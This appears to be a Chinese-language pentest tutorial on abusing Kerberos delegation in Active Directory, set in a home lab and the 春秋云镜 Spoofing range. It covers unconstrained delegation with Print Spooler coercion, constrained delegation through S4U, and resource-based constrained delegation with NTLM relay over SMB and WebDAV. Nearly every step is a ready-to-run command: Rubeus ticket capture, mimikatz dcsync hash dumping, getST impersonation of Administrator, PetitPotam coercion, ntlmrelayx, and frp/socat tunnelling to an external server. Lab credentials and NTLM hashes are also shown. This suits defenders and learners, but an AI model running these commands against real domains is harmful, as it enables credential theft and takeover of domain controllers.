约束委派与非约束委派
概述
非约束性委派 (Unconstrained Delegation):老板给了某位员工一把万能钥匙,可以打开公司的所有门。当用户/服务访问设置了非约束性委派的目标主机时, TGT会被目标主机的LSASS (系统安全服务) 进程缓存到内存中, 就相当于老板给员工钥匙的这个过程。
约束委派 (Constrained Delegation):老板给了某位员工一把钥匙,但是只能打开公司财务部的门
非约束性委派利用
有权修改计算机对象属性的人通过设置对象的userAccountControl标志位中的TRUSTED_FOR_DELEGATION位为true,就可以启用非约束性委派
若通过漏洞/配置不当获取形如GenericWrite写权限 (可以修改计算机对象的任何属性) , WriteProperty (被授权对某个特定属性的写权限), 可以尝试利用PowerShell命令设置非约束性委派, 配合打印机漏洞等实现横向移动
1 | Set-ADAccountControl -Identity "test-PC$" -TrustedForDelegation $true //Powershell设置非约束性委派 |

非约束性委派 + 打印机漏洞 Print Spooler
Print Spooler服务Windows中默认开启
可以进行利用让域管的机器账号强制与我们拿下的非约束性委派的主机强行建立连接, 利用Rubeus工具监听LSASS进程从而捕获域管机器账户的TGT, 最后将票据注入内存, 实现提权, 结合mimikatz导出域内哈希进行横向移动
用Rubeus监听来自域控的票据
1 | Rubeus.exe monitor /interval:2 /filteruser:DC$ |
Print Spooler利用工具 : https://github.com/leechristensen/SpoolSample
1 | SpoolSample.exe DC test-PC |
Rubeus监听到DC$的TGT票据, 导入票据
1 | Rubeus.exe ptt /ticket:doIFGjCCBRagAwIBBaEDAgEWooIEIzCCBB9hggQbM...... |
将票据注入内存中, 使用mimikatz导出域内用户哈希, PTH进行域内横向
1 | mimikatz.exe "log" "lsadump::dcsync /all /csv" "exit" |
约束性委派利用
约束性委派中,kerberos引入了S4U2Self和S4U2Proxy两种核心拓展机制。
S4U2Self:
当某个服务(如Web服务器)收到用户请求时,它需要确认用户的身份和权限。此时,服务可以通过S4U2Self向KDC(密钥分发中心)申请一个针对自身的服务票据,这个票据是“模拟用户身份”生成的。
S4U2Proxy:
当服务需要代表用户访问其他后端服务(如数据库、文件服务器)时,S4U2Proxy允许服务使用用户的票据向KDC申请目标服务的访问权限。
配置了约束性委派的账户的userAccountControl属性会被设置为TRUSTED_TO_AUTH_FOR_DELEGATION,账户的msDS-AllowedToDelegateTo属性为允许委派的服务。
攻击步骤
(1) 攻击者拿到了配置了约束委派的服务账户/域内机器账户,并且已经利用mimikatz等工具导出了账户哈希、票据等信息。
(2) 通过S4U2Self && S4U2Proxy来获取获取ST
攻击者用服务账户/域内机器账户的权限,向KDC发起S4U2Self请求,模拟某个高权限用户(如域管)生成针对自身的服务票据,将S4U2Self生成的票据转发给目标服务(如域控的CIFS服务),可获取访问的ST
1 | 通俗解释: |
DC域控给test-PC主机设置了约束性委派,允许委派DC的CIFS服务

攻击者拿下了test-PC这台机器,目标是利用约束委派横向拿下DC域控
(1) 利用test-PC机器用户票据 + kekeo横向
先使用mimikatz导出票据,拿到机器用户票据
1 | mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit" |

kekeo申请ST
1 | kekeo.exe "tgs::s4u /tgt:[0;3e7]-2-0-60a10000-TEST-PC$@krbtgt-HACK-MY.COM.kirbi /user:Administrator@hack-my.com /service:cifs/DC.hack-my.com" "exit" |

利用mimikatz导入ST票据
1 | mimikatz.exe "kerberos::ptt TGS_Administrator@hack-my.com@HACK-MY.COM_cifs~DC.hack-my.com@HACK-MY.COM.kirbi" "exit" |
导入后可正常访问DC的cifs服务

(2) 利用test-PC机器用户Hash + getST + psexec拿下域控system权限
先导出test-PC机器用户NTLM Hash
1 | mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "log" "exit" |
1 | NTLM Hash : 4631044bac1ad6054011e1750eb0af84 |
getST申请ST
1 | python getST.py -dc-ip 192.168.43.100 -spn CIFS/DC.hack-my.com -impersonate administrator hack-my.com/test-PC$ -hashes :4631044bac1ad6054011e1750eb0af84 |

导入票据 + psexec利用,拿下域控system权限
1 | set KRB5CCNAME=administrator@CIFS_DC.hack-my.com@HACK-MY.COM.ccache |

基于资源的约束委派[RBCD]
RBCD概述
基于资源的约束委派 (Resource-Based Constrained Delegation)是Windows Server 2012引入的权限委派机制,其核心思想是将委派控制权交给资源自身。通俗解释:仓库管理员自主决定谁可以来提货
传统委派:Service A可以代理用户访问Service B,需要域管将Service A的msDS-AllowedToDelegateTo属性指定为Service B
RBCD:Service B自主决定”谁可以代理用户访问我“,比如指定Service A可以代理用户访问我,只需要在Service B上将msDS-AllowedToActOnBehalfOfOtherIndentity属性指定为Service A即可。

攻击利用概述
攻击者可以利用RBCD来伪造身份票据来访问特定服务。攻击者创建一个机器账户 - HackPC$,并将其SID写入Service B的msDS-AllowedToActOnBehalfOfOtherIndentity中,然后伪造成为域管来访问Service B
利用条件
拥有修改msDS-AllowedToActOnBehalfOfOtherIndentity的权限
(1) 将机器加入域的用户
(2) 拥有Account Operators组权限的账户 (可管理除域控外的机器)
(3) 对目标主机具备GenericAll、WriteProperty等写权限的账户
(4) 该主机的机器账户
域用户本地提权
我们拿到了一个域内用户,但是发现该用户是普通用户,没有这台域内主机的administrator权限,可以利用RBCD进行本地提权。
思路:
1、利用可控域用户创建一个机器账户 (每个域用户默认可以创建10个机器账户)
2、修改目标主机的 msDS-AllowedToActOnBehalfOfOtherIndentity属性,使其指向新创建机器账户的SID
3、利用该机器账户的凭证为”跳板”,请求以administrator身份访问目标主机的票据,配合psexec实现本地提权。
首先使用Adfind.exe查询域内机器的mS-DS-CreatorSID,与当前用户的SID进行比较
1 | AdFind.exe -b "DC=hack-my,DC=com" -f "objectClass=computer" ms-DS-CreatorSID |

可知TEST-PC这台机器是通过我们拿到的这个域用户hack-my\test加入域中的,那么当前域用户可以修改这台主机的msDS-AllowedToActOnBehalfOfOtherIndentity属性。
使用当前域用户新建一个机器账户
1 | python addcomputer.py hack-my.com/test:"密码" -computer-name TEST$ -computer-pass 123456 -dc-host DC.hack-my.com -dc-ip 192.168.43.100 |


然后配置msDS-AllowedToActOnBehalfOfOtherIndentity属性,让TEST$机器账户获得了假扮任意用户访问TEST-PC$的能力,[*] TEST$ can already impersonate users on TEST-PC$ via S4U2Proxy
1 | python rbcd.py hack-my.com/test:"密码" -dc-ip 192.168.43.100 -action write -delegate-to TEST-PC$ -delegate-from TEST$ |

利用S4U协议伪造Administrator的ST
1 | python getST.py -dc-ip 192.168.43.100 -spn cifs/TEST-PC.hack-my.com -impersonate Administrator hack-my.com/test$:123456 |

利用拿到的ST配合psexec提权至system
1 | export KRB5CCNAME=Administrator@cifs_TEST-PC.hack-my.com@HACK-MY.COM.ccache //linux/MacOS写法 |

域内服务账户提权
IIS、MSSQL、Network Service等服务账户出网时使用的是本地的机器账户,访问域内资源时能够以机器账户的身份修改自身的委派属性,从而实现本地提权。
以设置了服务账户IIS的WIN2008-WEB为例,提权原理和上文的”域用户本地提权”差别不大
SharpAllowedToAct工具需要.NET环境,自行下载
1 | SharpAllowedToAct.exe -m test2 -p "123456" -t WIN2008-WEB -a dc.hack-my.com -d hack-my.com |
然后和上面一样的思路
1 | python getST.py -dc-ip 192.168.43.100 -spn cifs/WIN2008-WEB.hack-my.com -impersonate Administrator hack-my.com/test2$:123456 |
1 | set KRB5CCNAME=Administrator@cifs_TEST-PC.hack-my.com@HACK-MY.COM.ccache |
1 | python psexec.py -no-pass -k WIN2008-WEB.hack-my.com -target-ip 192.168.43.216 -dc-ip 192.168.43.100 |

NTLM Relay to ldap + RBCD
(1) SMB
默认情况下, LDAP 的签名策略为协商签名 (是否签名由客户端决定), 当使用 SMB 协议发起 LDAP 请求时, 就会要求LDAP服务器对NTLM认证请求强制签名, 所以一般来说无法通过SMB协议进行 NTLM Relay to LDAP
但是 2019 年爆出了 CVE-2019-1040 漏洞, 它能够绕过 NTLM MIC 的防护机制, 修改NTLM请求中的某些标志位, 使得客户端对于 SMB 发起的LDAP请求不要求签名, 从而实现 NTLM Relay
结合强制认证 (例如 SpoolSample, PetitPotam) 配合RBCD可以实现横向移动
攻击流程
先通过PetitPotam,打印机漏洞触发DC/目标主机的NTLM认证请求,将认证流量中继到目标LDAP服务器(通常就是域控)
攻击者利用中继的凭据,在DC/目标主机上配置RBCD策略,将攻击者添加的机器账户添加到目标主机的msDS-AllowedToActOnBehalfOfOtherIndentity属性中,然后伪造用户访问提权即可拿下目标主机
复现环境
TEST-PC:Windows7,已经拿下的域内主机,192.168.43.42
DC:Windows Server 2012,域控,192.168.43.100
WIN2008-WEB:Windows Server 2008,IIS服务器,192.168.43.216
Kali_linux:攻击机,192.168.43.78
目标:拿下TEST-PC后,利用NTLM Relay to ldap + RBCD横向拿下WIN2008-WEB这台主机
首先添加机器账户test
1 | python addcomputer.py hack-my.com/test:"密码" -computer-name TEST$ -computer-pass 123456 -dc-host DC.hack-my.com -dc-ip 192.168.43.100 |
启动ntlmrelayx等待目标主机连接
1 | python3 ntlmrelayx.py -t ldap://192.168.43.100 --remove-mic --delegate-access --escalate-user TEST$ |

利用PetitPotam让目标机器发起对攻击机的SMB请求
1 | python PetitPotam.py -d hack-my.com -u test -p "密码" 192.168.43.78 192.168.43.216 |


伪造管理员访问目标主机,配合psexec拿下WIN2008-WEB的system权限
1 | python getST.py -dc-ip 192.168.43.100 -spn cifs/WIN2008-WEB.hack-my.com -impersonate Administrator hack-my.com/test$:123456 |
1 | export KRB5CCNAME=Administrator@cifs_WIN2008-WEB.hack-my.com@HACK-MY.COM.ccache |

(2) WebDAV
首先先了解WebDAV的概念,WebDAV是一种基于HTTP的通信协议

对于HTTP(WebDAV)协议发起的 LDAP 请求是不要求强制签名的,因此可以绕过签名实现NTLM Relay
Windows使用WebClient服务实现WebDAV,WebDAV通过\\evilhost@80\webdav\kagty1.txt这种 UNC 格式访问攻击者的 HTTP 服务器。
注意:
1、Windows Workstation默认安装 WebClient服务,但是需要手动启动,Windows Server则默认未安装WebClient
2、WebClient仅对本地内部网或收信任的站点列表中的目自动使用当前用户凭据进行NTLM认证,所以在复现/攻击前,需要利用已经获取的域用户权限,在域内为攻击机添加一条dns记录。
工具地址:https://github.com/dirkjanm/krbrelayx,使用方法参考文档
1 | python3 dnstool.py -u hack-my.com\win2008 -p "密码" -r evil.hack-my.com -d 192.168.43.78 --action add ldap://192.168.43.100 |
攻击流程
(1) 拿下一名域用户
(2) 探测开启WebClient
(3) 在域内为攻击机添加DNS解析
(4) 强制WebClient对攻击机指定端口进行身份验证
(5) RBCD攻击
复现环境 (春秋云镜Spoofing)
攻击者公网服务器:Ubuntu,101.42.13.105
入口机:Ubuntu,39.99.154.66 | 172.22.11.76
**目标机器:**XIAORANG\XR-LCM3AE8B,172.22.11.26,开启WebClient服务,不出网
**域控:**XIAORANG\XIAORANG-DC,172.22.11.6
**已经拿下的域用户和域内机器:**Windows Server 2008,yangmei : xrihGHgoNZQ
**目标:**利用拿下的域用户和WIN2008,横向拿下172.22.11.26这台机器
既然目标机器不出网,可以用frp+socat来实现。
将入口机172.22.11.76作为”跳板机”,让目标机器将流量转发至172.22.11.76:80,利用socat将172.22.11.76:80的流量转发至公网服务器101.42.13.105:7000,公网服务器通过frp内网穿透将流量转发至kali linux的80端口。
frps.toml
1 | bindPort = 6000 |
frpc.toml
1 | serverAddr = "101.42.13.105" |
跳板机上传socat进行端口转发
1 | socat TCP-LISTEN:80,fork TCP:101.42.13.105:7000 |
攻击机ntlmrelyx开启监听,设置通过NTLM中继来配置RBCD
1 | proxychains4 python ntlmrelayx.py -t ldap://172.22.11.6 --escalate-user XR-DESKTOP\$ --delegate-access --no-dump |
通过利用PetitPotam强制目标主机172.22.11.26认证到172.22.11.76 (出网的ubuntu服务器) -> 会被转发到攻击机80端口

1 | proxychains4 python PetitPotam.py -u yangmei -p "xrihGHgoNZQ" -d xiaorang.lab ubuntu@80/webdav 172.22.11.26 |

成功配置RBCD

1 | proxychains4 python getST.py -dc-ip 172.22.11.6 -spn cifs/XR-LCM3AE8B.xiaorang.lab -impersonate administrator xiaorang.lab/XR-DESKTOP\$ -hashes :29a34bea4cdae24fdb6661b2071d9ffd |
或者可以利用拿到的域用户新建一个机器账户,然后用明文密码拿目标主机的白银票据
1 | proxychains4 python addcomputer.py xiaorang.lab/yangmei:"xrihGHgoNZQ" -computer-name TEST$ -computer-pass 123456 -dc-host XIAORANG-DC.xiaorang.lab -dc-ip 172.22.11.6 |
1 | python getST.py -dc-ip 172.22.11.6 -spn cifs/XR-LCM3AE8B.xiaorang.lab -impersonate administrator xiaorang.lab/XR-DESKTOP\$:123456 |

横向拿到目标主机system权限
1 | export KRB5CCNAME=administrator@cifs_XR-LCM3AE8B.xiaorang.lab@XIAORANG.LAB.ccache |
